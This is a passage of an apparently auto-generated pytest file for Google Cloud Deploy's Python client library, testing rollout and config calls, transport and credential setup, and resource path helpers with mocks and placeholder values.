assert response.approval_state == cloud_deploy.Rollout.ApprovalState.NEEDS_APPROVAL
assert response.state == cloud_deploy.Rollout.State.SUCCEEDED
assert response.failure_reason == "failure_reason_value"
assert response.deploying_build == "deploying_build_value"
assert response.etag == "etag_value"
@pytest.mark.asyncio
async def test_get_rollout_async_from_dict():
await test_get_rollout_async(request_type=dict)
def test_get_rollout_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.GetRolloutRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_rollout), "__call__") as call:
call.return_value = cloud_deploy.Rollout()
client.get_rollout(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_rollout_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.GetRolloutRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_rollout), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.Rollout()
)
await client.get_rollout(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_rollout_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_rollout), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.Rollout()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_rollout(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_rollout_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_rollout(
cloud_deploy.GetRolloutRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_rollout_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_rollout), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.Rollout()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.Rollout()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_rollout(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_rollout_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_rollout(
cloud_deploy.GetRolloutRequest(), name="name_value",
)
@pytest.mark.parametrize("request_type", [cloud_deploy.CreateRolloutRequest, dict,])
def test_create_rollout(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_rollout), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.create_rollout(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.CreateRolloutRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_create_rollout_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_rollout), "__call__") as call:
client.create_rollout()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.CreateRolloutRequest()
@pytest.mark.asyncio
async def test_create_rollout_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.CreateRolloutRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_rollout), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.create_rollout(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.CreateRolloutRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_create_rollout_async_from_dict():
await test_create_rollout_async(request_type=dict)
def test_create_rollout_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.CreateRolloutRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_rollout), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.create_rollout(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_rollout_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.CreateRolloutRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_rollout), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.create_rollout(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_rollout_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_rollout), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_rollout(
parent="parent_value",
rollout=cloud_deploy.Rollout(name="name_value"),
rollout_id="rollout_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].rollout
mock_val = cloud_deploy.Rollout(name="name_value")
assert arg == mock_val
arg = args[0].rollout_id
mock_val = "rollout_id_value"
assert arg == mock_val
def test_create_rollout_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_rollout(
cloud_deploy.CreateRolloutRequest(),
parent="parent_value",
rollout=cloud_deploy.Rollout(name="name_value"),
rollout_id="rollout_id_value",
)
@pytest.mark.asyncio
async def test_create_rollout_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_rollout), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_rollout(
parent="parent_value",
rollout=cloud_deploy.Rollout(name="name_value"),
rollout_id="rollout_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].rollout
mock_val = cloud_deploy.Rollout(name="name_value")
assert arg == mock_val
arg = args[0].rollout_id
mock_val = "rollout_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_rollout_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_rollout(
cloud_deploy.CreateRolloutRequest(),
parent="parent_value",
rollout=cloud_deploy.Rollout(name="name_value"),
rollout_id="rollout_id_value",
)
@pytest.mark.parametrize("request_type", [cloud_deploy.GetConfigRequest, dict,])
def test_get_config(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_config), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.Config(
name="name_value",
default_skaffold_version="default_skaffold_version_value",
)
response = client.get_config(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetConfigRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, cloud_deploy.Config)
assert response.name == "name_value"
assert response.default_skaffold_version == "default_skaffold_version_value"
def test_get_config_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_config), "__call__") as call:
client.get_config()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetConfigRequest()
@pytest.mark.asyncio
async def test_get_config_async(
transport: str = "grpc_asyncio", request_type=cloud_deploy.GetConfigRequest
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_config), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.Config(
name="name_value",
default_skaffold_version="default_skaffold_version_value",
)
)
response = await client.get_config(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetConfigRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, cloud_deploy.Config)
assert response.name == "name_value"
assert response.default_skaffold_version == "default_skaffold_version_value"
@pytest.mark.asyncio
async def test_get_config_async_from_dict():
await test_get_config_async(request_type=dict)
def test_get_config_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.GetConfigRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_config), "__call__") as call:
call.return_value = cloud_deploy.Config()
client.get_config(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_config_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.GetConfigRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_config), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(cloud_deploy.Config())
await client.get_config(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_config_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_config), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.Config()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_config(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_config_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_config(
cloud_deploy.GetConfigRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_config_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.get_config), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.Config()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(cloud_deploy.Config())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_config(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_config_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_config(
cloud_deploy.GetConfigRequest(), name="name_value",
)
def test_credentials_transport_error():
# It is an error to provide credentials and a transport instance.
transport = transports.CloudDeployGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# It is an error to provide a credentials file and a transport instance.
transport = transports.CloudDeployGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = CloudDeployClient(
client_options={"credentials_file": "credentials.json"},
transport=transport,
)
# It is an error to provide an api_key and a transport instance.
transport = transports.CloudDeployGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
options = client_options.ClientOptions()
options.api_key = "api_key"
with pytest.raises(ValueError):
client = CloudDeployClient(client_options=options, transport=transport,)
# It is an error to provide an api_key and a credential.
options = mock.Mock()
options.api_key = "api_key"
with pytest.raises(ValueError):
client = CloudDeployClient(
client_options=options, credentials=ga_credentials.AnonymousCredentials()
)
# It is an error to provide scopes and a transport instance.
transport = transports.CloudDeployGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = CloudDeployClient(
client_options={"scopes": ["1", "2"]}, transport=transport,
)
def test_transport_instance():
# A client may be instantiated with a custom transport instance.
transport = transports.CloudDeployGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
client = CloudDeployClient(transport=transport)
assert client.transport is transport
def test_transport_get_channel():
# A client may be instantiated with a custom transport instance.
transport = transports.CloudDeployGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
channel = transport.grpc_channel
assert channel
transport = transports.CloudDeployGrpcAsyncIOTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
channel = transport.grpc_channel
assert channel
@pytest.mark.parametrize(
"transport_class",
[transports.CloudDeployGrpcTransport, transports.CloudDeployGrpcAsyncIOTransport,],
)
def test_transport_adc(transport_class):
# Test default credentials are used if not provided.
with mock.patch.object(google.auth, "default") as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport_class()
adc.assert_called_once()
def test_transport_grpc_default():
# A client should use the gRPC transport by default.
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
assert isinstance(client.transport, transports.CloudDeployGrpcTransport,)
def test_cloud_deploy_base_transport_error():
# Passing both a credentials object and credentials_file should raise an error
with pytest.raises(core_exceptions.DuplicateCredentialArgs):
transport = transports.CloudDeployTransport(
credentials=ga_credentials.AnonymousCredentials(),
credentials_file="credentials.json",
)
def test_cloud_deploy_base_transport():
# Instantiate the base transport.
with mock.patch(
"google.cloud.deploy_v1.services.cloud_deploy.transports.CloudDeployTransport.__init__"
) as Transport:
Transport.return_value = None
transport = transports.CloudDeployTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
# Every method on the transport should just blindly
# raise NotImplementedError.
methods = (
"list_delivery_pipelines",
"get_delivery_pipeline",
"create_delivery_pipeline",
"update_delivery_pipeline",
"delete_delivery_pipeline",
"list_targets",
"get_target",
"create_target",
"update_target",
"delete_target",
"list_releases",
"get_release",
"create_release",
"approve_rollout",
"list_rollouts",
"get_rollout",
"create_rollout",
"get_config",
)
for method in methods:
with pytest.raises(NotImplementedError):
getattr(transport, method)(request=object())
with pytest.raises(NotImplementedError):
transport.close()
# Additionally, the LRO client (a property) should
# also raise NotImplementedError
with pytest.raises(NotImplementedError):
transport.operations_client
def test_cloud_deploy_base_transport_with_credentials_file():
# Instantiate the base transport with a credentials file
with mock.patch.object(
google.auth, "load_credentials_from_file", autospec=True
) as load_creds, mock.patch(
"google.cloud.deploy_v1.services.cloud_deploy.transports.CloudDeployTransport._prep_wrapped_messages"
) as Transport:
Transport.return_value = None
load_creds.return_value = (ga_credentials.AnonymousCredentials(), None)
transport = transports.CloudDeployTransport(
credentials_file="credentials.json", quota_project_id="octopus",
)
load_creds.assert_called_once_with(
"credentials.json",
scopes=None,
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
quota_project_id="octopus",
)
def test_cloud_deploy_base_transport_with_adc():
# Test the default credentials are used if credentials and credentials_file are None.
with mock.patch.object(google.auth, "default", autospec=True) as adc, mock.patch(
"google.cloud.deploy_v1.services.cloud_deploy.transports.CloudDeployTransport._prep_wrapped_messages"
) as Transport:
Transport.return_value = None
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport = transports.CloudDeployTransport()
adc.assert_called_once()
def test_cloud_deploy_auth_adc():
# If no credentials are provided, we should use ADC credentials.
with mock.patch.object(google.auth, "default", autospec=True) as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
CloudDeployClient()
adc.assert_called_once_with(
scopes=None,
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
quota_project_id=None,
)
@pytest.mark.parametrize(
"transport_class",
[transports.CloudDeployGrpcTransport, transports.CloudDeployGrpcAsyncIOTransport,],
)
def test_cloud_deploy_transport_auth_adc(transport_class):
# If credentials and host are not provided, the transport class should use
# ADC credentials.
with mock.patch.object(google.auth, "default", autospec=True) as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport_class(quota_project_id="octopus", scopes=["1", "2"])
adc.assert_called_once_with(
scopes=["1", "2"],
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
quota_project_id="octopus",
)
@pytest.mark.parametrize(
"transport_class,grpc_helpers",
[
(transports.CloudDeployGrpcTransport, grpc_helpers),
(transports.CloudDeployGrpcAsyncIOTransport, grpc_helpers_async),
],
)
def test_cloud_deploy_transport_create_channel(transport_class, grpc_helpers):
# If credentials and host are not provided, the transport class should use
# ADC credentials.
with mock.patch.object(
google.auth, "default", autospec=True
) as adc, mock.patch.object(
grpc_helpers, "create_channel", autospec=True
) as create_channel:
creds = ga_credentials.AnonymousCredentials()
adc.return_value = (creds, None)
transport_class(quota_project_id="octopus", scopes=["1", "2"])
create_channel.assert_called_with(
"clouddeploy.googleapis.com:443",
credentials=creds,
credentials_file=None,
quota_project_id="octopus",
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
scopes=["1", "2"],
default_host="clouddeploy.googleapis.com",
ssl_credentials=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
@pytest.mark.parametrize(
"transport_class",
[transports.CloudDeployGrpcTransport, transports.CloudDeployGrpcAsyncIOTransport],
)
def test_cloud_deploy_grpc_transport_client_cert_source_for_mtls(transport_class):
cred = ga_credentials.AnonymousCredentials()
# Check ssl_channel_credentials is used if provided.
with mock.patch.object(transport_class, "create_channel") as mock_create_channel:
mock_ssl_channel_creds = mock.Mock()
transport_class(
host="squid.clam.whelk",
credentials=cred,
ssl_channel_credentials=mock_ssl_channel_creds,
)
mock_create_channel.assert_called_once_with(
"squid.clam.whelk:443",
credentials=cred,
credentials_file=None,
scopes=None,
ssl_credentials=mock_ssl_channel_creds,
quota_project_id=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
# Check if ssl_channel_credentials is not provided, then client_cert_source_for_mtls
# is used.
with mock.patch.object(transport_class, "create_channel", return_value=mock.Mock()):
with mock.patch("grpc.ssl_channel_credentials") as mock_ssl_cred:
transport_class(
credentials=cred,
client_cert_source_for_mtls=client_cert_source_callback,
)
expected_cert, expected_key = client_cert_source_callback()
mock_ssl_cred.assert_called_once_with(
certificate_chain=expected_cert, private_key=expected_key
)
def test_cloud_deploy_host_no_port():
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(),
client_options=client_options.ClientOptions(
api_endpoint="clouddeploy.googleapis.com"
),
)
assert client.transport._host == "clouddeploy.googleapis.com:443"
def test_cloud_deploy_host_with_port():
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(),
client_options=client_options.ClientOptions(
api_endpoint="clouddeploy.googleapis.com:8000"
),
)
assert client.transport._host == "clouddeploy.googleapis.com:8000"
def test_cloud_deploy_grpc_transport_channel():
channel = grpc.secure_channel("http://localhost/", grpc.local_channel_credentials())
# Check that channel is used if provided.
transport = transports.CloudDeployGrpcTransport(
host="squid.clam.whelk", channel=channel,
)
assert transport.grpc_channel == channel
assert transport._host == "squid.clam.whelk:443"
assert transport._ssl_channel_credentials == None
def test_cloud_deploy_grpc_asyncio_transport_channel():
channel = aio.secure_channel("http://localhost/", grpc.local_channel_credentials())
# Check that channel is used if provided.
transport = transports.CloudDeployGrpcAsyncIOTransport(
host="squid.clam.whelk", channel=channel,
)
assert transport.grpc_channel == channel
assert transport._host == "squid.clam.whelk:443"
assert transport._ssl_channel_credentials == None
# Remove this test when deprecated arguments (api_mtls_endpoint, client_cert_source) are
# removed from grpc/grpc_asyncio transport constructor.
@pytest.mark.parametrize(
"transport_class",
[transports.CloudDeployGrpcTransport, transports.CloudDeployGrpcAsyncIOTransport],
)
def test_cloud_deploy_transport_channel_mtls_with_client_cert_source(transport_class):
with mock.patch(
"grpc.ssl_channel_credentials", autospec=True
) as grpc_ssl_channel_cred:
with mock.patch.object(
transport_class, "create_channel"
) as grpc_create_channel:
mock_ssl_cred = mock.Mock()
grpc_ssl_channel_cred.return_value = mock_ssl_cred
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
cred = ga_credentials.AnonymousCredentials()
with pytest.warns(DeprecationWarning):
with mock.patch.object(google.auth, "default") as adc:
adc.return_value = (cred, None)
transport = transport_class(
host="squid.clam.whelk",
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=client_cert_source_callback,
)
adc.assert_called_once()
grpc_ssl_channel_cred.assert_called_once_with(
certificate_chain=b"cert bytes", private_key=b"key bytes"
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=cred,
credentials_file=None,
scopes=None,
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
assert transport.grpc_channel == mock_grpc_channel
assert transport._ssl_channel_credentials == mock_ssl_cred
# Remove this test when deprecated arguments (api_mtls_endpoint, client_cert_source) are
# removed from grpc/grpc_asyncio transport constructor.
@pytest.mark.parametrize(
"transport_class",
[transports.CloudDeployGrpcTransport, transports.CloudDeployGrpcAsyncIOTransport],
)
def test_cloud_deploy_transport_channel_mtls_with_adc(transport_class):
mock_ssl_cred = mock.Mock()
with mock.patch.multiple(
"google.auth.transport.grpc.SslCredentials",
__init__=mock.Mock(return_value=None),
ssl_credentials=mock.PropertyMock(return_value=mock_ssl_cred),
):
with mock.patch.object(
transport_class, "create_channel"
) as grpc_create_channel:
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
mock_cred = mock.Mock()
with pytest.warns(DeprecationWarning):
transport = transport_class(
host="squid.clam.whelk",
credentials=mock_cred,
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=None,
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=mock_cred,
credentials_file=None,
scopes=None,
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
assert transport.grpc_channel == mock_grpc_channel
def test_cloud_deploy_grpc_lro_client():
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
transport = client.transport
# Ensure that we have a api-core operations client.
assert isinstance(transport.operations_client, operations_v1.OperationsClient,)
# Ensure that subsequent calls to the property send the exact same object.
assert transport.operations_client is transport.operations_client
def test_cloud_deploy_grpc_lro_async_client():
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc_asyncio",
)
transport = client.transport
# Ensure that we have a api-core operations client.
assert isinstance(transport.operations_client, operations_v1.OperationsAsyncClient,)
# Ensure that subsequent calls to the property send the exact same object.
assert transport.operations_client is transport.operations_client
def test_build_path():
project = "squid"
location = "clam"
build = "whelk"
expected = "projects/{project}/locations/{location}/builds/{build}".format(
project=project, location=location, build=build,
)
actual = CloudDeployClient.build_path(project, location, build)
assert expected == actual
def test_parse_build_path():
expected = {
"project": "octopus",
"location": "oyster",
"build": "nudibranch",
}
path = CloudDeployClient.build_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_build_path(path)
assert expected == actual
def test_cluster_path():
project = "cuttlefish"
location = "mussel"
cluster = "winkle"
expected = "projects/{project}/locations/{location}/clusters/{cluster}".format(
project=project, location=location, cluster=cluster,
)
actual = CloudDeployClient.cluster_path(project, location, cluster)
assert expected == actual
def test_parse_cluster_path():
expected = {
"project": "nautilus",
"location": "scallop",
"cluster": "abalone",
}
path = CloudDeployClient.cluster_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_cluster_path(path)
assert expected == actual
def test_config_path():
project = "squid"
location = "clam"
expected = "projects/{project}/locations/{location}/config".format(
project=project, location=location,
)
actual = CloudDeployClient.config_path(project, location)
assert expected == actual
def test_parse_config_path():
expected = {
"project": "whelk",
"location": "octopus",
}
path = CloudDeployClient.config_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_config_path(path)
assert expected == actual
def test_delivery_pipeline_path():
project = "oyster"
location = "nudibranch"
delivery_pipeline = "cuttlefish"
expected = "projects/{project}/locations/{location}/deliveryPipelines/{delivery_pipeline}".format(
project=project, location=location, delivery_pipeline=delivery_pipeline,
)
actual = CloudDeployClient.delivery_pipeline_path(
project, location, delivery_pipeline
)
assert expected == actual
def test_parse_delivery_pipeline_path():
expected = {
"project": "mussel",
"location": "winkle",
"delivery_pipeline": "nautilus",
}
path = CloudDeployClient.delivery_pipeline_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_delivery_pipeline_path(path)
assert expected == actual
def test_release_path():
project = "scallop"
location = "abalone"
delivery_pipeline = "squid"
release = "clam"
expected = "projects/{project}/locations/{location}/deliveryPipelines/{delivery_pipeline}/releases/{release}".format(
project=project,
location=location,
delivery_pipeline=delivery_pipeline,
release=release,
)
actual = CloudDeployClient.release_path(
project, location, delivery_pipeline, release
)
assert expected == actual
def test_parse_release_path():
expected = {
"project": "whelk",
"location": "octopus",
"delivery_pipeline": "oyster",
"release": "nudibranch",
}
path = CloudDeployClient.release_path(**expected)
# Check that the path construction is reversible.
actual = CloudDeployClient.parse_release_path(path)
assert expected == actual
def test_rollout_path():
project = "cuttlefish"
location = "mussel"
delivery_pipeline = "winkle"
release = "nautilus"
rollout = "scallop"
expected = "projects/{project}/locations/{location}/deliveryPipelines/{delivery_pipeline}/releases/{release}/rollouts/{rollout}".format(
project=project,
location=location,
delivery_pipeline=delivery_pipeline,
release=release,
rollout=rollout,
)
actual = CloudDeployClient.rollout_path(
project, location, delivery_pipeline, release, rollout
)
assert expected == actual
def test_parse_rollout_path():
